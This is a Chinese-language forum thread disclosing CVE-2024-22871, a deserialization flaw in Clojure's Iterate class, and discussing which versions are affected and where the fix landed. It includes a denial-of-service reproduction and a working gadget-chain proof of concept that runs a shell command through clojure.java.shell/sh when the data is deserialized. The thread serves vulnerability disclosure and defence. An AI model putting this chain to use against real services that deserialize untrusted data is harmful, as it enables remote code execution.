2024年Clojure状态调查!中分享您的想法。

欢迎!有关本平台的工作方式,请参阅关于页面以获取更多信息。

+1
Clojure
关闭

报告漏洞

在org.clojure:clojure中存在以下漏洞:
- 拒绝服务攻击(clojure版本1.2.0 - 1.12.0)

dos

Command Injection

注意,此漏洞不需要额外的组件。

详细信息
1.12.0-a5中的RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

关闭标记: 发布在Clojure 1.11.2和1.12.0-alpha9中
如以下讨论中所述,DOS攻击可能影响1.2.0-1.12.0版本,且具有本地验证功能的命令执行可能影响1.9.0-1.12.0版本。
在我看来,目前存在的一些问题与以下情况类似,但采用了新的规避方式。


https://clojure.atlassian.net/browse/CLJ-2204

编辑
我不太明白,如果全是Java,Clojure与这个问题有什么关系?

更新:我是否理解正确,你可以在没有Clojure的情况下用Java实现相同的功能?
没有正确操作。函数调用图部分依赖于Clojure,例如apply、RestFn等。在Clojure版本1.9.0-1.12.0中(在clojure版本poc中),可以通过访问匿名函数类来获取$fn_5920以执行命令。

1 个答案

+3

被选择
 
最佳答案

在使用ObjectInputStream处理不可信数据时,本身就存在潜在危险,正如该类的文档所述。为何展示该类危险的示例被认为是在提供某些所用类的大纲中存在漏洞呢?

更容易重现的方法供未来的读者使用

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
是的,ObjectInputStream确实会引入潜在的安全风险。然而,针对这个特定漏洞,问题不在于讨论导致安全问题的潜在风险。问题在于,在1.12.0-alpha5版本中,可以构造一个特殊的序列化数据包,这加剧了这些风险的可能损害。这无需其他依赖,并启用命令执行(看起来process$start是一个新引入的功能)。反序列化的危害通常取决于项目环境,但这个漏洞不需要其他依赖,且是JAR包本身的问题。
我明白了。但这与1.12.0-alpha5无关 - 我刚添加到答案中的代码可以在1.8.0上运行以重现此行为。稍作修改后,它可以在1.2.0上运行(但在那时之前,`clojure.lang.Cons`不可序列化)。
是的,这个漏洞仅影响1.12.0-alpha5版本。我对之前的版本的分析不多,对于它们可能存在其他高风险反序列化漏洞持悲观态度。
顺便说一句,如果可能的话,希望开发人员可以发布CVE,尽管我已经要求CVE,但我还没有收到回复。
你说‘是’,但你写下的却是我所说的相反意思——这个漏洞影响从1.2.0开始的所有Clojure版本。
真的吗?各位,你们是在提到由这种反序列化引起的命令执行漏洞吗?因为我对Clojure不是很熟悉,我 Only 从自己的程序分析工具中得到了这个分析结果。
此外,最让我困惑的是 core$partial$fn__5920 类生成原理。我使用soot对 clojure.jar 进行了分析。但我更想了解 Clojure 中实际的 core$partial$fn__5920 代码。
该特定类是由 `partial` 函数的这种自变量生成的:[查看代码](https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638)
谢谢。由于时差,以后可能难以及时回复。

编辑
其他生成命令执行攻击的方法

```clojure
(ns poc.clojure.command)
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main [])
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
       ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "Writing is done. Reading...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
by
需要注意的是,仅在设置 'fn start (ns-resolve 'clojure.java.shell 'sh)' 之后,它将影响 1.9.0 - 1.12.0 版本,并且它可以实现命令执行。
by
我不太清楚你最后一句的意思。'clojure.java.shell' 命名空间中的 'sh' 函数用于 shell 请求数据并运行命令,因此当然可以使用它运行一些东西。命令执行机制仍然依赖于 'Iterate' 类实现其散列的方法。
by
这是因为我使用了上版本中的 process $ start,但不幸的是这是1.12.0版本中引入的新功能;稍后检查项目发现可以直接使用shell函数直接运行命令。是的,问题仍然出现在Iterate类哈希计算中。
by
此问题已在1.11.2和1.12.0-alpha9版本的Iterate hashCode()中修复。
...